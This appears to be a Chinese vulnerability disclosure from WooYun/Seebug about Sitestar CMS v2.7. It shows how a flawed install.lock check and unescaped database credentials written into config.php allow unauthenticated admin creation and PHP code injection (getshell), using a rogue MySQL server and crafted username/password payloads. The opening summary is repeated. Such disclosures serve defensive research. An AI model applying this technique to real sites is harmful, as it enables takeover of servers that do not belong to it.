### 简要描述: 看sitestar 在某数字公司还是属于一般应用的, 就准备提数字了。 太坑了 然后果断拒绝提交详情。 还是提到乌云来把。 不知道sitestar在乌云是不是属于一般应用的? 狗哥给个回应哈。 Sitestar 前台Getshell。 无需登录。 ### 详细说明: 在官方论坛上下的最新版 在 install/index.php中 ``` define('IN_CONTEXT', 1); include_once('load.php'); ?> ``` 包含进来 那再继续看看。 ``` $lockfile = ROOT.'/install.lock'; $pattern_db = '/[0-9a-zA-Z]*$/'; if(!preg_match($pattern_db, $db_name)||!preg_match($pattern_db, $db_user)){ echo '1001';exit; } if(file_exists($lockfile) && ($_a=='template' || $_a=='setting' || $_a=='check')) { exit('please delete install.lock!'); } ``` 这里判断了Lock 而且if(file_exists($lockfile) && ($_a=='template' || $_a=='setting' || $_a=='check') 关键这里是一个and 而不是一个or 只要不满足后面的 也就不会退出了。 继续看后面的码。 ``` if($_a=='template'){ include P_TPL."/template.php"; }else if($_a=='check'){ include P_TPL."/check.php"; }else if($_a=='setting'){ $default_tpl = ParamHolder::get("default_tpl","jixie-110118-a16"); $_SESSION['default_tpl'] = $default_tpl; include P_TPL."/setting.php"; }else if($_a=='result'){ $domain =...
### 简要描述: 看sitestar 在某数字公司还是属于一般应用的, 就准备提数字了。 太坑了 然后果断拒绝提交详情。 还是提到乌云来把。 不知道sitestar在乌云是不是属于一般应用的? 狗哥给个回应哈。 Sitestar 前台Getshell。 无需登录。 ### 详细说明: 在官方论坛上下的最新版 在 install/index.php中 ``` define('IN_CONTEXT', 1); include_once('load.php'); ?> ``` 包含进来 那再继续看看。 ``` $lockfile = ROOT.'/install.lock'; $pattern_db = '/[0-9a-zA-Z]*$/'; if(!preg_match($pattern_db, $db_name)||!preg_match($pattern_db, $db_user)){ echo '1001';exit; } if(file_exists($lockfile) && ($_a=='template' || $_a=='setting' || $_a=='check')) { exit('please delete install.lock!'); } ``` 这里判断了Lock 而且if(file_exists($lockfile) && ($_a=='template' || $_a=='setting' || $_a=='check') 关键这里是一个and 而不是一个or 只要不满足后面的 也就不会退出了。 继续看后面的码。 ``` if($_a=='template'){ include P_TPL."/template.php"; }else if($_a=='check'){ include P_TPL."/check.php"; }else if($_a=='setting'){ $default_tpl = ParamHolder::get("default_tpl","jixie-110118-a16"); $_SESSION['default_tpl'] = $default_tpl; include P_TPL."/setting.php"; }else if($_a=='result'){ $domain = $_SERVER['HTTP_HOST']; if(isset($_SERVER['SERVER_ADDR'])){ $ip = $_SERVER['SERVER_ADDR']; }else{ $ip='127.0.0.1'; } $version = 'sitestar_v2.7_build131012'; $system = preg_replace('/\s/','',PHP_OS); $vphp = PHP_VERSION; $vmysql = $_SESSION['vmysql']; $tpl_name = $_SESSION['default_tpl']; $http = new Http("http://licence.sitestar.cn/feedback.php?domain=$domain&ip=$ip&version=$version&vphp=$vphp&vmysql=$vmysql&tpl_name=$tpl_name&vos=$system"); $http->get(); include P_TPL."/result.php"; create_file($version); }else if($_a=='checkconnection'){ $link = @mysql_connect($db_host,$db_user,$db_pwd); if (!$link) { echo '1001'; exit; } $r = mysql_select_db($db_name,$link); if(!$r){ echo '1002'; exit; } }else if($_a=="create"){ $link = mysql_connect($db_host,$db_user,$db_pwd); if (!$link) { echo '1001'; exit; } $r = mysql_select_db($db_name,$link); if(!$r){ echo '1002'; exit; } $rtn = create_table($db_name,$db_prefix,INSTALL_ROOT.'/../sql/basic.sql'); if(!empty($rtn)){ echo '1005'; exit; } mysql_query("INSERT INTO `".$db_prefix."parameters` (`id`, `key`, `val`) VALUES (NULL, 'DEFAULT_TPL', '".$_SESSION['default_tpl']."')"); //uploadcopy(ROOT."/template/".$_SESSION['default_tpl']."/".$_SESSION['default_tpl']."_2_upload/image",ROOT."https://images.seebug.org/upload/image"); //uploadcopy(ROOT."/template/".$_SESSION['default_tpl']."/".$_SESSION['default_tpl']."_2_upload/flash",ROOT."https://images.seebug.org/upload/flash"); if($demo=='1'){ create_table($db_name,$db_prefix,ROOT."/template/".$_SESSION['default_tpl']."/".$_SESSION['default_tpl'].'_2_sample.sql'); } else { mysql_query("INSERT INTO `".$db_prefix."static_contents` (`id` ,`title` ,`content` ,`create_time` ,`s_locale` ,`published` ,`for_roles`) VALUES ('1', '', NULL , '', 'zh_CN', '1', '{member}{admin}{guest}');"); mysql_query("INSERT INTO `".$db_prefix."static_contents` (`id` ,`title` ,`content` ,`create_time` ,`s_locale` ,`published` ,`for_roles`) VALUES ('2', '', NULL , '', 'zh_CN', '1', '{member}{admin}{guest}');"); mysql_query("INSERT INTO `".$db_prefix."static_contents` (`id` ,`title` ,`content` ,`create_time` ,`s_locale` ,`published` ,`for_roles`) VALUES ('3', '', NULL , '', 'en', '1', '{member}{admin}{guest}');"); mysql_query("INSERT INTO `".$db_prefix."static_contents` (`id` ,`title` ,`content` ,`create_time` ,`s_locale` ,`published` ,`for_roles`) VALUES ('4', '', NULL , '', 'en', '1', '{member}{admin}{guest}');"); } echo '1003'; }else if($_a=="createadmin"){ $link = mysql_connect($db_host,$db_user,$db_pwd); if (!$link) { echo '1001'; exit; } $r = mysql_select_db($db_name,$link); if(!$r){ echo '1002'; exit; } mysql_query("set names utf8"); mysql_select_db($db_name,$link); $mysql_query = mysql_query("select VERSION()"); $mysql_row = mysql_fetch_row($mysql_query); $vmysql = $mysql_row[0]; $_SESSION['vmysql'] = $mysql_row[0]; $passwd = sha1($admin_pwd); $tme = time(); if ($link) { create_config($db_host1,$db_user,$db_pwd,$db_name,$db_prefix,$db_port); } $query = mysql_query("insert into ".$db_prefix."users(login,passwd,email,lastlog_time,rstpwdreq_time,active,s_role) values('$admin_name','$passwd','admin@admin.com','$tme','0','1','{admin}')"); $insert_id = mysql_insert_id(); $query = mysql_query("insert into ".$db_prefix."user_extends(total_saving,total_payment,balance,user_id) values('0.00','0.00','0.00','$insert_id')"); if($query){ echo '1004'; } ``` 可以看到 除开 template setting 和check 还有其他的 来找找哪个可以利用的。 ``` }else if($_a=="createadmin"){ $link = mysql_connect($db_host,$db_user,$db_pwd); if (!$link) { echo '1001'; exit; } $r = mysql_select_db($db_name,$link); if(!$r){ echo '1002'; exit; } mysql_query("set names utf8"); mysql_select_db($db_name,$link); $mysql_query = mysql_query("select VERSION()"); $mysql_row = mysql_fetch_row($mysql_query); $vmysql = $mysql_row[0]; $_SESSION['vmysql'] = $mysql_row[0]; $passwd = sha1($admin_pwd); $tme = time(); if ($link) { create_config($db_host1,$db_user,$db_pwd,$db_name,$db_prefix,$db_port); } $query = mysql_query("insert into ".$db_prefix."users(login,passwd,email,lastlog_time,rstpwdreq_time,active,s_role) values('$admin_name','$passwd','admin@admin.com','$tme','0','1','{admin}')"); $insert_id = mysql_insert_id(); $query = mysql_query("insert into ".$db_prefix."user_extends(total_saving,total_payment,balance,user_id) values('0.00','0.00','0.00','$insert_id')"); ``` 我所利用的是这个。 貌似可以直接添加一个管理。 但是不甘心, 看看能不能直接Getshell。 ``` $link = mysql_connect($db_host,$db_user,$db_pwd); if (!$link) { echo '1001'; exit; } $r = mysql_select_db($db_name,$link); if(!$r){ echo '1002'; exit; } ``` 首先看这里。 要检测mysql是否能够连接得上, 并且$db_name 得存在这个mysql中。 ``` $_a = ParamHolder::get("_a",""); $_m = ParamHolder::get("_m","frontpage"); $db_host1 = ParamHolder::get("db_host",""); $db_user = ParamHolder::get("db_user",""); $db_pwd = ParamHolder::get("db_pwd",""); $db_name = ParamHolder::get("db_name",""); $db_prefix = ParamHolder::get("db_prefix",""); $db_port = ParamHolder::get("db_port",""); $admin_name = ParamHolder::get("admin_name",""); $admin_pwd = ParamHolder::get("admin_pwd",""); $demo = ParamHolder::get("demo",""); $db_host = $db_host1.":".$db_port; ``` 可以看到哪些参数都是可控的。 我们自己搭建一个mysql 可外联就行了。 ``` $pattern_db = '/[0-9a-zA-Z]*$/'; ``` ``` if(!preg_match($pattern_db, $db_name)||!preg_match($pattern_db, $db_user)){ echo '1001';exit; } ``` 匹配出除开0-9 a-z A-Z 以外的就退出。 ``` $passwd = sha1($admin_pwd); $tme = time(); if ($link) { create_config($db_host1,$db_user,$db_pwd,$db_name,$db_prefix,$db_port); } ``` 这里 跟进去 ``` function create_config($host,$user,$pwd,$dnname,$pre,$port){ $str = ""; $str .= "<?php \n"; $str.="if (!defined('IN_CONTEXT')) die('access violation error!');\n"; $str.="class Config {\n"; $str .= "public static \$mysql_ext = 'mysql';\n"; $str .= "public static \$db_host = '$host';\n"; $str .= "public static \$db_user = '$user';\n"; $str .= "public static \$db_pass = '$pwd';\n"; $str .= "public static \$db_name = '$dnname';\n"; $str .= "public static \$port = '$port';\n"; $str .= "public static \$mysqli_charset = 'utf8';\n"; $str .= "public static \$tbl_prefix = '$pre';\n"; $str .= "public static \$cookie_prefix = '".randomStr(6)."_';\n"; $str .= "public static \$enable_db_debug = false;\n"; $str .= "}?>\n"; file_put_contents("../config.php",$str); ``` 可以看到 直接写到一个php文件里了。 这时候 好像一切都ok了。 可是 一切又没有那么的容易。 [<img src="https://images.seebug.org/upload/201403/231543233116bdb5829bd1d34ac37f42c184c10a.jpg" alt="s1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/231543233116bdb5829bd1d34ac37f42c184c10a.jpg) access violation error! 是不能含有单引号的。 但是在这里 关键的是 他没有过滤转义符。。 然后就进入了无尽的测试当中。。 ``` function create_config($host,$user,$pwd,$dnname,$pre,$port){ $str = ""; $str .= "<?php \n"; $str.="if (!defined('IN_CONTEXT')) die('access violation error!');\n"; $str.="class Config {\n"; $str .= "public static \$mysql_ext = 'mysql';\n"; $str .= "public static \$db_host = '$host';\n"; $str .= "public static \$db_user = '$user';\n"; $str .= "public static \$db_pass = '$pwd';\n"; $str .= "public static \$db_name = '$dnname';\n"; $str .= "public static \$port = '$port';\n"; $str .= "public static \$mysqli_charset = 'utf8';\n"; $str .= "public static \$tbl_prefix = '$pre';\n"; $str .= "public static \$cookie_prefix = '".randomStr(6)."_';\n"; $str .= "public static \$enable_db_debug = false;\n"; $str .= "}?>\n"; file_put_contents("../config.php",$str); ``` 看这个 理论上来说 只有 ``` $str .= "public static \$mysqli_charset = 'utf8';\n"; $str .= "public static \$cookie_prefix = '".randomStr(6)."_';\n"; $str .= "public static \$enable_db_debug = false;\n"; ``` 这三行不可控, 但是 由于 ``` $str .= "public static \$db_host = '$host';\n"; $str .= "public static \$db_user = '$user';\n"; $str .= "public static \$db_pass = '$pwd';\n"; $str .= "public static \$db_name = '$dnname';\n"; ``` 这四个 会用来连接 如果连接不上的话 就退出了。 就算不上能随意控制。 ``` $str .= "public static \$port = '$port';\n"; $str .= "public static \$mysqli_charset = 'utf8';\n"; $str .= "public static \$tbl_prefix = '$pre';\n"; ``` 就剩下了这两个可控。 但是中间还有了个不可控的。 如果两个可控的挨在一起的话 可以这样 public static $port = '\'; public static $tbl_prefix = ';phpinfo();/*'; 但是由于中间多了一个不可控的 所以不能直接这样。。 如果可控的两行没挨在一起的话 那么可控的必须要三行了 才能执行了。。 那怎么办呢? DB_HOST 肯定是不能改的 要不就连不上了。 那就要从 DB_NAME db_user 和 db_pwd 下手了。 ``` $pattern_db = '/[0-9a-zA-Z]*$/'; if(!preg_match($pattern_db, $db_name)||!preg_match($pattern_db, $db_user)){ echo '1001';exit; } ``` 这里的正则 验证了 db_name 和 db_user 但是 这中间连接的是一个or。 那只要让一个匹配不出除开09 az AZ以外的就行了。 那就让db_name匹配不出 因为我测试了db_name 在我创建数据库的时候无法添加符号的。 这样只有从db_user 和 db_pwd 下手了。 在本地的mysql里 建一个含有特殊字符的 账户 和 密码。 让账户为test@localhost\ 密码为;/* 这样类似的就行了。 来测试测试。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201403/23155701b678cc4600e675dc2dcf44dd9567dc83.jpg" alt="s5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/23155701b678cc4600e675dc2dcf44dd9567dc83.jpg) 首先建立一个账户。 要记得对一些字符转义。 然后 访问 [<img src="https://images.seebug.org/upload/201403/2315574356e959100af144df04cfa64bf5436dea.jpg" alt="s6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/2315574356e959100af144df04cfa64bf5436dea.jpg) 来看看配置文件。 [<img src="https://images.seebug.org/upload/201403/2315582787de53b2b7c70bb434a12c375e9a7ed5.jpg" alt="s7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/2315582787de53b2b7c70bb434a12c375e9a7ed5.jpg) 直接访问首页。 [<img src="https://images.seebug.org/upload/201403/2315590936cf73bf9ba9c8fdeda4873827d1146a.jpg" alt="s8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201403/2315590936cf73bf9ba9c8fdeda4873827d1146a.jpg) 成功getshell。